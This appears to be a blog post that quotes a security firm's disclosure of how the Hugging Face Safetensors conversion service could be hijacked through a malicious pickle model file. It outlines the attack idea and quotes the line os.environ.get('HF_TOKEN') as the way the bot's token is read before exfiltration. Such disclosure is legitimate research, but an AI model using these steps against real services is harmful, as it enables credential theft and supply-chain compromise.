Hacking computers through AI models. Possible because "Models are code." Who knew? AI models are Turing complete and can execute arbitrary code? Including malicious code deployed by hackers?
"At the heart of any Artificial Intelligence system lies a machine learning model -- the result of vast computation across a given dataset, which has been trained, tweaked, and tuned to perform a specific task or put to a more general application. Before a model can be deployed in a product or used as part of a service, it must be serialized (saved) to disk in what is referred to as a serialization format."
"If you've been following our research, you'll know that models are code, and several of the most widely used serialization formats allow for arbitrary code execution in some way, shape, or form and are being actively exploited in the wild."
"The biggest perpetrator for this is Pickle, which, despite being one of the most vulnerable serialization formats, is the most widely used. Pickle underpins the PyTorch library and is the most prevalent serialization format on Hugging Face as of last year. However, to mitigate the supply chain risk posed by vulnerable serialization formats, the Hugging Face team set to work on developing a new serialization format, one that would be built from the ground up with security in mind so that it could not be used to execute malicious code -- which they called Safetensors."
There's previous posts on the site where they show other formats are vulnerable, such as TensorFlow/Keras's HDF5 (which stands for Hierarchical Data Format version 5). HDF5 allows for "lambda" layers that allow calling of any arbitrary function as the "lambda" function, which in turn allows for arbitrary code execution and running malicious code. But here the focus is PyTorch's Pickle system.
"Safetensors does what it says on the tin, and, to the best of our knowledge, allows for safe deserialization of machine learning models largely due to it storing only model weights/biases and no executable code or computational primitives. To help pivot the Hugging Face userbase to this safer alternative, the company created a conversion service to convert any PyTorch model contained within a repository into a Safetensors alternative via a pull request. The code (convert.py) for the conversion service is sourced directly from the Safetensors projects and runs via Hugging Face Spaces, a cloud compute offering for running Python code in the browser.
"In this Space, a Gradio application is bundled alongside convert.py, providing a web interface where the end user can specify a repository for conversion. The application only permits PyTorch binaries to be targeted for conversion and requires a filename of pytorch_model.bin to be present within the repository to initiate the process."
They go on to describe how it dawned on them that, "Could someone hijack the hosted conversion service using the very thing that it was designed to convert?"
"Since we knew that the bot was creating pull requests from within the same sandbox that the convert code runs in, we also knew that the credentials for the bot would more than likely be inside the sandbox, too."
"Looking through the code, we saw that they were set as environmental variables and could be accessed using os.environ.get('HF_TOKEN'). While we now had access to the token, we still needed a method to exfiltrate it."
